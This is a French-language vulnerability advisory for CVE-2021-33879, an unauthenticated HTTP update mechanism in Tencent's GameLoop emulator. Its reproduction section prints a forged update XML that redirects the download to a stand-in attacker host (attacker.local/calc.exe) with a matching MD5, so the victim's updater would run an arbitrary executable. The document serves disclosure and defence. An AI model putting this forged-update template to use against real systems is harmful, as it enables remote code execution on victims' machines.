
Interception MITM de la mise à jour de GameLoop
ID CVE : CVE-2021-33879
Nom du ou des produits concernés et version(s): GameLoop (toutes les versions antérieures à 4.1.21.90)
Type de vulnérabilité : CWE-494 : Téléchargement de code sans vérification d'intégrité
Résumé
GameLoop est un émulateur Android développé par Tencent. Son mécanisme de mise à jour n'est ni chiffré ni authentifié (si ce n'est par des hachages MD5 qui, dans cette exploitation, peuvent être contrôlés par l'attaquant), permettant à un attaquant en position d'homme du milieu (MITM) d'intercepter et d'envoyer ses propres paquets de mise à jour, qui seront exécutés sur la machine de la victime.
Description
Tencent GameLoop, avant la version 4.1.21.90, téléchargeait les mises à jour via une connexion HTTP non sécurisée. Un attaquant malveillant en position d'homme du milieu (MITM) pouvait falsifier le contenu d'un document XML décrivant un paquet de mise à jour, en remplaçant une URL de téléchargement par une URL pointant vers un exécutable Windows arbitraire. Étant donné que la seule vérification d'intégrité serait la comparaison de la somme de contrôle MD5 du fichier téléchargé avec celle contenue dans le document XML, l'exécutable téléchargé serait ensuite exécuté sur la machine de la victime.
Reproduction
<?xml version="1.0" encoding="utf-8"?>
<UpdateConfig>
<GlobalConfig>
<Item name="UpdateEnable" Value="1" />
</GlobalConfig>
<UpdatePolicy>
<PolicyItem id="1" Enable="1" AutoUpdateRate="1" ManualUpdateRate="100" MatchUpdateOperation="2" Weight="4">
<Condition Method="Or">
<MatchSupplyId Type="market" MatchResult="0" Start="3.10.199.100" End="4.99.999.999" />
</Condition>
</PolicyItem>
</UpdatePolicy>
<UpdateOperation>
<OperItem id="2" inherit="0" Desc="This is a malicious update" Title="Malicious update" text="I could serve you ransomware but I'll just spawn calc">
<Item Type="market" url="http://attacker.local/calc.exe" md5="c4cb4fdf6369dd1342d2666171866ce5" version="5.10.199.100" filesize="32768" />
</OperItem>
</UpdateOperation>
</UpdateConfig>


Correctif
Installez une version plus récente de GameLoop.